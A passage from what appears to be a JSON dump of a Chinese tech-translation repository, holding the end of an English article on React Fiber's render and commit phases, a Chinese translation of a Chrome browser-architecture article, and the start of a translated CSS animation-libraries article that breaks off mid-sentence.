processing updates it reflects the state that’s currently rendered on the screen.\n\n**memoizedProps  \n**Props of the fiber that were used to create the output during previous render.\n\n**pendingProps  \n**Props that have been updated from new data in React elements and need to be applied to child components or DOM elements.\n\n**key  \n**Unique identifier with a group of children to help React figure out which items have changed, have been added or removed from the list. It’s related to the “lists and keys” functionality of React described [here](https://reactjs.org/docs/lists-and-keys.html#keys).\n\nYou can find the complete structure of a fiber node [here](https://github.com/facebook/react/blob/6e4f7c788603dac7fccd227a4852c110b072fe16/packages/react-reconciler/src/ReactFiber.js#L78). I’ve omitted a bunch of fields in the demonstration above. Particularly, the pointers `**child**,`, `**sibling**`  and `**return**`  that make up a tree data structure [described in my previous article](http://df). And a category of fields like `**expirationTime**`, `**childExpirationTime**`  and `**mode**`  that are specific to `**Scheduler**`.\n\n* * *\n\n### General algorithm\n\nReact performs work in two main phases: **render** and **commit**.\n\nDuring the first `**render**` stage React applies updates to components scheduled through `**setUpdate**` or `**React.render**` and figures out what needs to be updated on UI. If it’s the initial render, React creates a new fiber node for each element returned from the `**render**` method. In the following updates, fibers for existing React elements are re-used and updated. **The result of the phase is a tree of fiber nodes marked with side-effects.** The effects describe the work that needs to be done during the following `**commit**` phase. During this phase React takes a fiber tree marked with effects and applies them to instances. It goes over the list of effects and performs DOM updates and other changes visible to a user.\n\n**It’s important to understand that the work during the first** `**render**` **phase can be performed asynchronously.** React can process one or more fiber nodes depending on the available time, then stop to stash the work done and yield to some event. It then continues from where it’s left. Sometimes, though, it may need to discard the work done and start from the top again. These pauses are made possible by the fact that the work performed during this phase doesn’t lead to any user-visible changes, like DOM updates. **In contrast, the following** `**commit**` **phase is always synchronous**. This is because the work performed during this stage leads to changes visible to the user, e.g. DOM updates. That’s why React needs to do them in a single pass.\n\nCalling lifecycle methods is one type of work performed by React. Some methods are called during the `**render**` phase and others during the `**commit**` phase. Here’s the list of lifecycles called when working through the first `**render**` phase:\n\n*  [UNSAFE_]componentWillMount (deprecated)\n*  [UNSAFE_]componentWillReceiveProps (deprecated)\n*  getDerivedStateFromProps\n*  shouldComponentUpdate\n*  [UNSAFE_]componentWillUpdate (deprecated)\n*  render\n\nAs you can see, some legacy lifecycle methods that are executed during the `**render**` phase are marked as `**UNSAFE**` from the version 16.3. They are now called legacy lifecycles in the docs. They will be deprecated in future 16.x releases and their counterparts without the `**UNSAFE**` prefix will be removed in 17.0. You can read more about these changes and the suggested migration path [here](https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html).\n\nAre you curious about the reason for this?\n\nWell, we’ve just learned that because the `**render**` phase doesn’t produce side-effects like DOM updates, React can process updates asynchronously to components asynchronously (potentially even doing it in multiple threads). However, the lifecycles marked with `**UNSAFE**` have often been misunderstood and subtly misused. Developers tended to put the code with side-effects inside these methods which may cause problems with the new async rendering approach. Although only their counterparts without the `**UNSAFE**`  prefix will be removed, they are still likely to cause issues in the upcoming Concurrent Mode (which you can opt out of).\n\nHere’s the list of lifecycle methods executed during the second `**commit**` phase:\n\n*   getSnapshotBeforeUpdate\n*   componentDidMount\n*   componentDidUpdate\n*   componentWillUnmount\n\nBecause these methods execute in the synchronous `**commit**` phase, they may contain side effects and touch the DOM.\n\nOkay, so now we have the background to take a look at generalized algorithm used to walk the tree and perform work. Let’s dive in.\n\n### Render phase\n\nThe reconciliation algorithm always starts from the topmost `**HostRoot**` fiber node using the [renderRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L1132) function. However, React bails out of (skips) already processed fiber nodes until it finds the node with unfinished work. For example, if you call `**setState**` deep in the components tree, React will start from the top but quickly skip over the parents until it gets to the component that had its `**setState**` method called.\n\n#### Main steps of the work loop\n\nAll fiber nodes are processed [in the work loop](https://github.com/facebook/react/blob/f765f022534958bcf49120bf23bc1aa665e8f651/packages/react-reconciler/src/ReactFiberScheduler.js#L1136). Here is the implementation of the synchronous part of the loop:\n\n```\nfunction workLoop(isYieldy) {\n  if (!isYieldy) {\n    while (nextUnitOfWork !== null) {\n      nextUnitOfWork = performUnitOfWork(nextUnitOfWork);\n    }\n  } else {...}\n}\n```\n\nIn the code above the `**nextUnitOfWork**` holds a reference to the fiber node from the `**workInProgress**` tree that has some work to do. As React traverses the tree of Fibers, it uses this variable to know if there’s any other fiber node with unfinished work. After the current fiber is processed, the variable will either contain the reference to the next fiber node in a tree or `**null**`. In that case React exits the work loop and is ready to commit the changes.\n\nThere are 4 main functions that are used to traverse the tree and initiate or complete the work:\n\n*   [performUnitOfWork](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L1056)\n*   [beginWork](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberBeginWork.js#L1489)\n*   [completeUnitOfWork](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L879)\n*   [completeWork](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberCompleteWork.js#L532)\n\nTo demonstrate how they are used, take a look at the following animation of traversing a fiber tree. I’ve used the simplified implementation of these functions for the demo. Each function takes a fiber node to process and as React goes down the tree you can see the currently active fiber node changes. You can clearly see on the video how the algorithm goes from one branch to the other. It first completes the work for children before moving to parents.\n\n![](https://cdn-images-1.medium.com/max/800/1*A3-yF-3Xf47nPamFpRm64w.gif)\n\n[Here’s the link to the video](https://vimeo.com/302222454) where you can pause the playback and inspect the current node and the state of functions. Conceptually, you can think of “begin” as “stepping into” a component, and “complete” as “stepping out” of it. You can also [play with the example and the implementation here](https://stackblitz.com/edit/js-ntqfil?file=index.js) as I explain what these functions do.\n\nLet’s start with the first two functions `**performUnitOfWork**` and `**beginWork**`:\n\n```\nfunction performUnitOfWork(workInProgress) {\n    let next = beginWork(workInProgress);\n    if (next === null) {\n        next = completeUnitOfWork(workInProgress);\n    }\n    return next;\n}\n\nfunction beginWork(workInProgress) {\n    console.log('work performed for ' + workInProgress.name);\n    return workInProgress.child;\n}\n```\n\nThe function `**performUnitOfWork**` receives a fiber node from the `**workInProgress**`  tree and starts the work by calling `**beginWork**`  function. This is function that will start all the activities that need to be performed for a fiber. For the purposes of this demonstration, we simply log the name of the fiber to denote that the work has been done. **The function** `**beginWork**` **always returns a pointer to the next child to process in the loop or** `**null**`**.**\n\nIf there’s a next child, it will be assigned to the variable `**nextUnitOfWork**` in the `**workLoop**`  function. However, if there’s no child, React knows that it reached the end of the branch and so it can complete the current node. **Once the node is completed, it’ll need to perform work for siblings and backtrack to parent after that.** This is done in the `**completeUnitOfWork**` function:\n\n```\nfunction completeUnitOfWork(workInProgress) {\n    while (true) {\n        let returnFiber = workInProgress.return;\n        let siblingFiber = workInProgress.sibling;\n\n        nextUnitOfWork = completeWork(workInProgress);\n\n        if (siblingFiber !== null) {\n            // If there is a sibling, return it\n            // to perform work for this sibling\n            return siblingFiber;\n        } else if (returnFiber !== null) {\n            // If there's no more work in this returnFiber,\n            // continue the loop to complete the parent.\n            workInProgress = returnFiber;\n            continue;\n        } else {\n            // We've reached the root.\n            return null;\n        }\n    }\n}\n\nfunction completeWork(workInProgress) {\n    console.log('work completed for ' + workInProgress.name);\n    return null;\n}\n```\n\nYou can see that the gist of the function is a big `**while**` loop. React gets into this function when a `**workInProgress**` node has no children. After completing the work for the current fiber, it checks if there’s a sibling. If found, React exits the function and returns the pointer to the sibling. It will be assigned to the `**nextUnitOfWork**` variable and React will perform the work for the branch starting with this sibling. It’s important to understand that at this point React has only completed work for the preceding siblings. It hasn’t completed work for the parent node. **Only once all branches starting with child nodes are completed, it completes work for the parent node and backtracks.**\n\nAs you can see from the implementation, both `**performUnitOfWork**` and `**completeUnitOfWork**` are used mostly for iteration purposes, whereas the main activities take place in the `**beginWork**` and `**completeWork**`  functions. In the following articles in the series we’ll learn what happens for the `**ClickCounter**` component and the `**span**` node as React steps into `**beginWork**` and `**completeWork**` functions.\n\n#### Commit phase\n\nThe phase begins with the function [completeRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L2306). This is where React updates the DOM and calls pre and post mutation lifecycle methods.\n\nWhen React gets to this phase, it has 2 trees and the effects list. First tree represents the state currently rendered on the screen. Then there’s an alternate tree built during `**render**` phase. It’s called `**finishedWork**` or `**workInProgress**` in the sources and represents the state that needs to be reflected on the screen. This alternate tree is linked similarly to the current tree through the `**child**` and `**sibling**` pointers.\n\nAnd then, there’s an effects list —a subset of nodes from the `**finishedWork**`  tree linked through the `**nextEffect**` pointer. Remember that the effect list is the _result_ of running the `**render**` phase. The whole point of rendering was to determine which nodes need to be inserted, updated, or deleted, and which components need to have their lifecycle methods called. And that’s what the effect list tells us. **And it’s exactly the set of nodes that’s iterated during the commit phase.**\n\n> For debugging purposes, the `**current**` tree can be accessed through the `**current**` property of the fiber root. The `**finishedWork**` tree can be accessed through the `**alternate**` property of the `**HostFiber**` node in the current tree.\n\nThe main function that runs during the commit phase is [commitRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L523). Basically, it does the following:\n\n*   Calls the `**getSnapshotBeforeUpdate**` lifecycle method on nodes tagged with the `**Snapshot**`  effect\n*   Calls the `**componentWillUnmount**`  lifecycle method on nodes tagged with the `**Deletion**` effect\n*   Performs all the DOM insertions, updates and deletions\n*   Sets the `**finishedWork**`  tree as current\n*   Calls `**componentDidMount**` lifecycle method on nodes tagged with the `**Placement**` effect\n*   Calls `**componentDidUpdate**`  lifecycle method on nodes tagged with the `**Update**` effect\n\nAfter calling the pre-mutation method `**getSnapshotBeforeUpdate**`, React commits all the side-effects within a tree. It does it in two passes. The first pass performs all DOM (host) insertions, updates, deletions and ref unmounts. Then React assigns the `**finishedWork**` tree to the `**FiberRoot**` marking the `**workInProgress**` tree as the `**current**`  tree. This is done after the first pass of the commit phase, so that the previous tree is still current during `**componentWillUnmount**`, but before the second pass, so that the finished work is current during `**componentDidMount/Update**`. In the second pass React calls all other lifecycle methods and ref callbacks. These methods are executed as a separate pass so that all placements, updates, and deletions in the entire tree have already been invoked.\n\nHere’s the gist of the function that runs the steps described above:\n\n```\nfunction commitRoot(root, finishedWork) {\n    commitBeforeMutationLifecycles()\n    commitAllHostEffects();\n    root.current = finishedWork;\n    commitAllLifeCycles();\n}\n```\n\nEach of those sub-functions implements a loop that iterates over the list of effects and checks the type of effects. When it finds the effect pertaining to the function’s purpose, it applies it.\n\n#### Pre-mutation lifecycle methods\n\nHere is, for example, the code that iterates over an effects tree and checks if a node has the `**Snapshot**`  effect:\n\n```\nfunction commitBeforeMutationLifecycles() {\n    while (nextEffect !== null) {\n        const effectTag = nextEffect.effectTag;\n        if (effectTag & Snapshot) {\n            const current = nextEffect.alternate;\n            commitBeforeMutationLifeCycles(current, nextEffect);\n        }\n        nextEffect = nextEffect.nextEffect;\n    }\n}\n```\n\nFor a class component, this effect means calling the `**getSnapshotBeforeUpdate**` lifecycle method.\n\n#### DOM updates\n\n[commitAllHostEffects](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L376) is the function where React performs DOM updates. The function basically defines the type of operation that needs to be done for a node and executes it:\n\n```\nfunction commitAllHostEffects() {\n    switch (primaryEffectTag) {\n        case Placement: {\n            commitPlacement(nextEffect);\n            ...\n        }\n        case PlacementAndUpdate: {\n            commitPlacement(nextEffect);\n            commitWork(current, nextEffect);\n            ...\n        }\n        case Update: {\n            commitWork(current, nextEffect);\n            ...\n        }\n        case Deletion: {\n            commitDeletion(nextEffect);\n            ...\n        }\n    }\n}\n```\n\nIt’s interesting that React calls the `**componentWillUnmount**`  method as part of the deletion process in the `**commitDeletion**` function.\n\n#### Post-mutation lifecycle methods\n\n[commitAllLifecycles](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L465) is the function where React calls all remaining lifecycle methods. In the current implementation of React the only post mutation method is `**componentDidUpdate**`.\n\n* * *\n\nWe’re finally done. Let me know what you think about the article or ask questions in the comments. I have many more articles in the works providing in-depth explanation for scheduler, children reconciliation process and how effects list is built. I also have plans to create a video where I’ll show how to debug the application using this article as a basis.\n\n**For more insights follow me on [Twitter](https://twitter.com/maxim_koretskyi) and on [Medium](https://medium.com/@maxim.koretskyi).** Thanks for reading! If you liked this article, hit that clap button below 👍. It means a lot to me and it helps other people see the story.\n\nThanks to [Dan Abramov](https://medium.com/@dan_abramov?source=post_page).\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/inside-look-at-modern-web-browser-part1.md",
    "content": "> * 原文地址：[Inside look at modern web browser (part 1)](https://developers.google.com/web/updates/2018/09/inside-browser-part1)\n> * 原文作者：[Mariko Kosaka](https://developers.google.com/web/resources/contributors/kosamari)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/inside-look-at-modern-web-browser-part1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-look-at-modern-web-browser-part1.md)\n> * 译者：[Colafornia](https://github.com/Colafornia)\n> * 校对者：[CoderMing](https://github.com/CoderMing) [sakila1012](https://github.com/sakila1012)\n\n# 现代浏览器内部揭秘（第一部分）\n\n## CPU、GPU、内存和多进程体系结构\n\n这一博客系列由四部分组成，将从高级体系结构到渲染流程的细节来窥探 Chrome 浏览器的内部。如果你曾对浏览器是如何将代码转化为具有功能的网站，或者你并不确定为何建议使用某一技术来提升性能，那么本系列就是为你准备的。\n\n本文作为此系列的第一部分，将介绍核心计算术语与 Chrome 的多进程体系架构。\n\n**提示：** 如果你已熟悉 CPU/GPU，进程/线程的相关概念，可以直接跳到[浏览器架构](#浏览器架构)部分开始阅读。\n\n## 计算机的核心是 CPU 与 GPU\n\n为了了解浏览器运行的环境，我们需要了解几个计算机部件以及它们的作用。\n\n### CPU\n\n![CPU](https://developers.google.com/web/updates/images/inside-browser/part1/CPU.png)\n\n图 1：4 个 CPU 核心作为办公人员，坐在办公桌前处理各自的工作\n\n第一个需要了解的计算机部件是 **中央处理器（Central Processing Unit）**，或简称为 **CPU**。CPU 可以看作是计算机的大脑。一个 CPU 核心如图中的办公人员，可以逐一解决很多不同任务。它可以在解决从数学到艺术一切任务的同时还知道如何响应客户要求。过去 CPU 大多是单芯片的，一个核心就像存在于同芯片的另一个 CPU。随着现代硬件发展，你经常会有不止一个内核，为你的手机和笔记本电脑提供更多的计算能力。\n\n### GPU\n\n![GPU](https://developers.google.com/web/updates/images/inside-browser/part1/GPU.png)\n\n图 2：许多带特定扳手的 GPU 内核意味着它们只能处理有限任务\n\n**图形处理器**（**Graphics Processing Unit**，简称为 **GPU**）是计算机的另一部件。与 CPU 不同，GPU 擅长同时处理跨内核的简单任务。顾名思义，它最初是为解决图形而开发的。这就是为什么在图形环境中“使用 GPU” 或 “GPU 支持”都与快速渲染和顺滑交互有关。近年来随着 GPU 加速计算的普及，仅靠 GPU 一己之力也使得越来越多的计算成为可能。\n\n当你在电脑或手机上启动应用时，是 CPU 和 GPU 为应用供能。通常情况下应用是通过操作系统提供的机制在 CPU 和 GPU 上运行。\n\n![硬件，操作系统，应用](https://developers.google.com/web/updates/images/inside-browser/part1/hw-os-app.png)\n\n图 3：三层计算机体系结构。底部是机器硬件，中间是操作系统，顶部是应用程序。\n\n## 在进程和线程上执行程序\n\n![进程与线程](https://developers.google.com/web/updates/images/inside-browser/part1/process-thread.png)\n\n图四：进程作为边界框，线程作为抽象鱼在进程中游动\n\n在深入学习浏览器架构之前需要了解的另一个理论是进程与线程。进程可以被描述为是一个应用的执行程序。线程存在于进程并执行程序任意部分。\n\n启动应用时会创建一个进程。程序也许会创建一个或多个线程来帮助它工作，这是可选的。操作系统为进程提供了一个可以使用的“一块”内存，所有应用程序状态都保存在该私有内存空间中。关闭应用程序时，相应的进程也会消失，操作系统会释放内存。\n\n![进程与内存](https://developers.google.com/web/updates/images/inside-browser/part1/memory.svg)\n\n图 5 ：进程使用内存空间和存储应用数据的示意图\n\n进程可以请求操作系统启动另一个进程来执行不同的任务。此时，内存中的不同部分会分给新进程。如果两个进程需要对话，他们可以通过**进程间通信**（**IPC**）来进行。许多应用都是这样设计的，所以如果一个工作进程失去响应，该进程就可以在不停止应用程序不同部分的其他进程运行的情况下重新启动。\n\n![工作进程与 IPC](https://developers.google.com/web/updates/images/inside-browser/part1/workerprocess.svg)\n\n图 6：独立进程通过 IPC 通信示意图\n\n## 浏览器架构\n\n那么如何通过进程和线程构建 web 浏览器呢？它可能由一个拥有很多线程的进程，或是一些通过 IPC 通信的不同线程的进程。\n\n![浏览器架构](https://developers.google.com/web/updates/images/inside-browser/part1/browser-arch.png)\n\n图 7：不同浏览器架构的进程/线程示意图\n\n这里需要注意的重要一点是，这些不同的架构是实现细节。关于如何构建 web 浏览器并不存在标准规范。一个浏览器的构建方法可能与另一个迥然不同。\n\n在本博客系列中，我们使用下图所示的 Chrome 近期架构进行阐述。\n\n顶部是浏览器进程，它与处理应用其它模块任务的进程进行协调。对于渲染进程来说，创建了多个渲染进程并分配给了每个标签页。直到最近，Chrome 在可能的情况下给每个标签页分配一个进程。而现在它试图给每个站点分配一个进程，包括 iframe（参见[站点隔离](#每个-iframe-的渲染进程--站点隔离)）。\n\n![浏览器架构](https://developers.google.com/web/updates/images/inside-browser/part1/browser-arch2.png)\n\n图 8：Chrome 的多进程架构示意图。渲染进程下显示了多个层，表明 Chrome 为每个标签页运行多个渲染进程。\n\n## 进程各自控制什么？\n\n下表展示每个 Chrome 进程与各自控制的内容：\n\n| 进程 | 控制 |\n| -----|-----|\n| 浏览器 | 控制应用中的 “Chrome” 部分，包括地址栏，书签，回退与前进按钮。以及处理 web 浏览器不可见的特权部分，如网络请求与文件访问。 |\n| 渲染 | 控制标签页内网站展示。 |\n| 插件 | 控制站点使用的任意插件，如 Flash。 |\n| GPU | 处理独立于其它进程的 GPU 任务。GPU 被分成不同进程，因为 GPU 处理来自多个不同应用的请求并绘制在相同表面。|\n\n![Chrome 进程](https://developers.google.com/web/updates/images/inside-browser/part1/browserui.png)\n\n图 9：不同进程指向浏览器 UI 的不同部分\n\n还有更多进程如扩展进程与应用进程。如果你想要了解有多少进程运行在你的 Chrome 浏览器中，可以点击右上角的选项菜单图标，选择更多工具，然后选择任务管理器。然后会打开一个窗口，其中列出了当前正在运行的进程以及它们当前的 CPU/内存使用量。\n\n## Chrome 多进程架构的优点\n\n前文中提到了 Chrome 使用多个渲染进程。最简单的情况下，你可以想象每个标签页都有自己的渲染进程。假设你打开了三个标签页，每个标签页都拥有自己独立的渲染进程。如果某个标签页失去响应，你可以关掉这个标签页，此时其它标签页依然运行着，可以正常使用。如果所有标签页都运行在同一进程上，那么当某个失去响应，所有标签页都会失去响应。这样的体验很糟糕。\n\n![多个标签页各自的渲染进程](https://developers.google.com/web/updates/images/inside-browser/part1/tabs.svg)\n\n图 10：如图所示每个标签页上运行的渲染进程\n\n把浏览器工作分成多个进程的另一好处是安全性与沙箱化。由于操作系统提供了限制进程权限的方法，浏览器就可以用沙箱保护某些特定功能的进程。例如，Chrome 浏览器限制处理任意用户输入的进程(如渲染器进程)对任意文件的访问。\n\n由于进程有自己的私有内存空间，所以它们通常包含公共基础设施的拷贝(如 V8，它是 Chrome 的 JavaScript 引擎)。这意味着使用了更多的内存，如果它们是同一进程中的线程，就无法共享这些拷贝。为了节省内存，Chrome 对可启动的进程数量有所限制。具体限制数值依设备可提供的内存与 CPU 能力而定，但是当 Chrome 运行时达到限制时，会开始在同一站点的不同标签页上运行同一进程。\n\n## 节省更多内存 —— Chrome 中的服务化\n\n同样的方法也适用于浏览器进程。Chrome 正在经历架构变革，它转变为将浏览器程序的每一模块作为一个服务来运行，从而可以轻松实现进程的拆解或聚合。\n\n通常观点是当 Chrome 运行在强力硬件上时，它会将每个服务分解到不同进程中，从而提升稳定性，但是如果 Chrome 运行在资源有限的设备上时，它会将服务聚合到一个进程中从而节省了内存占用。在这一架构变革实现前，类似的整合进程以减少内存使用的方法已经在 Android 类平台上使用。\n\n![Chrome 服务化](https://developers.google.com/web/updates/images/inside-browser/part1/servicfication.svg)\n\n图 11： Chrome 的服务化图，将不同的服务移动到多个进程和单个浏览器进程中\n\n## 每个 iframe 的渲染进程 —— 站点隔离\n\n[站点隔离](https://developers.google.com/web/updates/2018/07/site-isolation) 是近期引入到 Chrome 中的一个功能，它为每个 iframe 运行一个单独的渲染进程。我们已经讨论了许久每个标签页的渲染进程，它允许跨站点 iframe 运行在一个单独的渲染进程，在不同站点中共享内存。运行 a.com 与 b.com 在同一渲染进程中看起来还 ok。\n\n[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) 是 web 的核心安全模型。同源策略确保站点在未得到其它站点许可的情况下不能获取其数据。安全攻击的一个主要目标就是绕过同源策略。进程隔离是分离站点的最高效的手段。随着 [Meltdown and Spectre](https://developers.google.com/web/updates/2018/02/meltdown-spectre) 的出现，使用进程来分离站点愈发势在必行。Chrome 67 版本后，桌面版 Chrome 都默认开启了站点隔离，每个标签页的 iframe 都有一个单独的渲染进程。\n\n![站点隔离](https://developers.google.com/web/updates/images/inside-browser/part1/isolation.png)\n\n图 12：站点隔离示意图，多个渲染进程指向站点内的 iframe\n\n启用站点隔离是多年来工程人员努力的结果。站点隔离并不只是分配不同的渲染进程这么简单。它从根本上改变了 iframe 的通信方式。在一个页面上打开开发者工具，让 iframe 在不同的进程上运行，这意味着开发者工具必须在幕后工作，以使它看起来无缝。即使运行一个简单的 Ctrl + F 来查找页面中的一个单词，也意味着在不同的渲染器进程中进行搜索。你可以看到为什么浏览器工程师把发布站点隔离功能作为一个重要里程碑！\n\n## 总结\n\n本文从高级视角对浏览器架构与多进程架构的优点进行阐述。我们也对 Chrome 中与多进程架构密切相关的服务化与站点隔离进行了讲解。下一篇文章中，我们将开始深入了解进程与线程中到底发生了什么才能使网站得以呈现。\n\n你喜欢这篇文章吗？对后续文章有任何疑问或建议都可以在评论区或 Twitter 上 [@kosamari](https://twitter.com/kosamari) 与我联系。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/integrating-third-party-animation-libraries-to-a-project-1.md",
    "content": "> * 原文地址：[Integrating Third-Party Animation Libraries to a Project - Part 1](https://css-tricks.com/integrating-third-party-animation-libraries-to-a-project/)\n> * 原文作者：[Travis Almand](https://css-tricks.com/author/travisalmand/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/integrating-third-party-animation-libraries-to-a-project-1.md)\n> * 译者：[TUARAN](https://github.com/TUARAN)\n> * 校对者：[lihaobhsfer](https://github.com/lihaobhsfer)\n\n# 将第三方动画库集成到项目中 —— 第 1 部分\n\n创建以 CSS 为基础的动画可能是一个挑战。它们可能是复杂且耗时的。你是否需要在时间紧迫的情况下调整出一个完美的动画（库）来推进项目？这时，你该考虑使用一个拥有现成的动画插件的第三方 CSS 动画库。可是，你仍然会想:它们是什么？它们提供什么？我如何使用它们？\n\n我们来看看吧。\n\n## 简短的历史：hover\n\n曾经有一段时间，hover 状态与现在它能提供的功能相比不值一提。实际上，对于在元素上浮动的光标进行响应的想法可以说是不存在的。对此，实现该特性的不同方法被提了出来。在某种程度上来讲，这个小特性为 CSS 能够在页面上的元素创建动画打开了大门。随着时间的推移，这些特性可能越来越复杂，导致 CSS 动画库的产生。\n\n**Macromedia’s Dreamweaver** 于 [1997 年 12 月](https://en.wikipedia.org/wiki/Adobe_Dreamweaver)推出，并提供了一个简单的功能，即悬停时的图像变换。这个特性是通过一个 JavaScript 函数实现的，该函数被编辑器嵌入到 HTML 中。这个函数被命名为 `MM_swapImage()`，并且它已经成为一个 web 设计的民间传说。这个脚本易于使用，即使在 Dreamweaver 之外也是如此，它的流行性使得它直到今天还在使用。在本文的初步研究中，我在 **Adobe’s Dreamweaver**（Adobe 于 2005 年收购了 Macromedia）帮助论坛上发现了一个与此功能相关的问题。\n\nJavaScript 函数将根据 **mouseover** 和 **mouseout** 事件更改 src 属性，从而将一个图像与另一个图像交换。实现时，它看起来是这样的：\n\n```html\n<a href=\"#\" onMouseOut=\"MM_swapImgRestore()\" onMouseOver=\"MM_swapImage('ImageName','','newImage.jpg',1)\">\n  <img src=\"originalImage.jpg\" name=\"ImageName\" width=\"100\" height=\"100\" border=\"0\">\n</a>\n```\n\n按照今天的标准，用 JavaScript 实现这一点是相当容易的，我们中的许多人实际上都可以在睡梦中完成这一点。但是，考虑到 JavaScript 在当时（创建于 1995 年）仍然是一种新的脚本语言，而且有时在不同浏览器之间的外观和行为都有所不同。创建跨浏览器 JavaScript 并不是一件容易的事情，甚至不是每个创建 web 页面的人都编写 JavaScript。（[这一点显然已经改变了](https://css-tricks.com/the-great-divide/)）Dreamweaver 通过编辑器中的菜单提供了这一功能，而 web 设计师甚至不需要编写 JavaScript。它基于可以从不同选项列表中选择的一组“行为”。这些选项可以被一组目标浏览器过滤；3.0 浏览器，4.0 浏览器，IE 3.0，IE 4.0，Netscape 3.0，Netscape 4.0。啊，[过去的美好时光](https://css-tricks.com/the-ecological-impact-of-browser-diversity/)。\n\n![Netscape 浏览器窗口的屏幕截图。](https://css-tricks.com/wp-content/uploads/2019/05/mm_browsers.png)\n\n大约在 1997 年，就可根据浏览器版本选择行为。\n\n![来自 Dreamweaver 应用程序的屏幕截图，显示了在HTML中切换元素行为的选项面板。](https://css-tricks.com/wp-content/uploads/2019/05/s_EBCAC238906FAA6EECC38BE5A80726DC08BADA1B9C984153FFCE3F96AC775B6A_1554670455957_mm_swap.png)\n\nMacromedia Dreamweaver 1.2a 中的交换图像行为面板\n\nDreamweaver 首次发布大约一年后，W3C 的 CSS2 规范在 [1998 年 1 月](https://www.w3.org/TR/1998/WD-css2-19980128/)的工作草案中提到了 `:hover`。它在锚点链接方面被特别提到，但是语言表明它可能被应用于其他元素。在大多数情况下，这个伪选择器似乎是 `MM_swapImage()` 的一个简单替代方法的开始，因为 `background-image` 也在同一草案中。尽管浏览器支持是一个问题，因为在足够多的浏览器正确支持 CSS2 之前，它已经花费了数年的时间，使其成为许多 web 设计人员的一个可行选项。[2011 年 6 月](https://www.w3.org/TR/CSS2/)，终于有了 W3C 推荐的 CSS2.1，这可以被认为是我们所知的“现代” CSS 的基础。\n\n在这中间，**jQuery** 出现在 [2006](https://en.wikipedia.org/wiki/JQuery)。幸运的是，jQuery 在简化不同浏览器之间的 JavaScript 方面走了很长的路。我们的故事中有一件有趣的事情，jQuery 的第一个版本提供了 [`animate()`](https://api.jquery.com/animate/) 方法。使用这种方法，你可以在任何时候对任何元素的 CSS 属性进行动画的操作；不只是悬停。由于它的流行，这个方法暴露了在浏览器中嵌入一个更健壮的 CSS 解决方案的需要——这个解决方案不需要 JavaScript 库，因为浏览器的限制，JavaScript 库的性能并不是一直都很好。\n\n`:hover` 伪类只提供了从一种状态到另一种状态的生硬转换，不支持平滑的转换。它也不能使元素在像悬停在元素上这样的基本元素之外的变化产生动画效果。jQuery 的 `animate()` 方法提供了这些特性。它铺平了道路，并一直前进着。在 web 开发的动态世界中，解决这个问题的工作草案在 CSS2.1 的建议发布之前就已经开始了。[CSS Transitions Module Level 3](https://www.w3.org/TR/2009/WD-css3-transitions-20090320/) 